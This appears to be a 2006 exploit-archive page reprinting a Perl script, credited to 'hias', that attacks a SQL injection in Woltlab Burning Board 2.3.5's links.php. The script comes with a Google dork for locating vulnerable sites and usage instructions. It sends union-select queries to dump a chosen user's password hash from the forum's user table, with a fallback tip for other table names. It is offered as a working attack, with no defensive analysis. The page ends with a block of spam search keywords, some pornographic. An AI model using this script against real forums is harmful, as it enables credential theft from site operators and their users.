about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Woltlab Burning Board <= 2.3.5 (links.php) SQL Injection Exploit (2




2006-08-17 Woltlab Burning Board <= 2.3.5 (links.php) SQL Injection Exploit (2
Rated as : Moderate Risk

#!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
##                                                                        
   ##
##  Woltlab Burning Board 2.3.5 <= "links.php" SQL Injection
Exploit          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   
   ##
##  Exploit by       |  hias                                              
   ##
##  Googledork       |  inurl:/wbb2/links.php?cat                         
   ##
##  Usage            |  links.pl [server] [path] [userid]                 
   ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   
   ##
##                                                                        
   ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];
$userid = $ARGV[2];

if (!$webpage||!$directory) { die "[+] Exploit failed\n"; }

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=5474902010+union+select+password,username+from+bb1_users+where+userid=$userid";

$sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to
Server\n";
print "[+] Exploiting.....\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
if ($answer =~ 
/(................................)<\/span><\/b><\/font>/)
{
print "[+] Hash: $1\n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
break;
}
}

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=5474902010+union+select+password,userid+from+bb1_users+where+userid=$userid";
close($sock);

$sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to
Server\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
if ($answer =~ 
/(................................)<\/span><\/b><\/font>/)
{
print "[+] Hash: $1\n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
print "[+] Database doesn't exist. try replacing bb1_users with
bb2_users or bb3_users\n";
break;
}
}
close($sock);

print "[+] Exploit failed\n";
securitydot.net - 2006-08-17

Advertising

Copyright 2007, SecurityDot
Thu, 26 Nov 2009 21:13:37 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.dowelm www.slin8. www.woman+ Asianude /search/ex php-nuke 2 nudewoman. wftp Www.Dogwit 2.6.19.1 200 /compo londen sex www.nd23.c Adults vid american s sexyvideoe sex vedeo WWW.Girl.C WWW XXX CO www.extras Thrisha ba news for c WWW.vidio rettube8 symantec s unreal por Sex part www. bolli www.topsgr 2.4.21-47 www.indiam www89sex Sexygaril www.bigbig gameguad www.naruto www.iptry. www.ywhpy. www.ywhpy. www.jdzmd. xxxsexclip v727.com Analfotos www.0719ho thmilsex phpbb 2.0. Nayathrase xsl.dd1.cn phpbb 2.0. ajout.php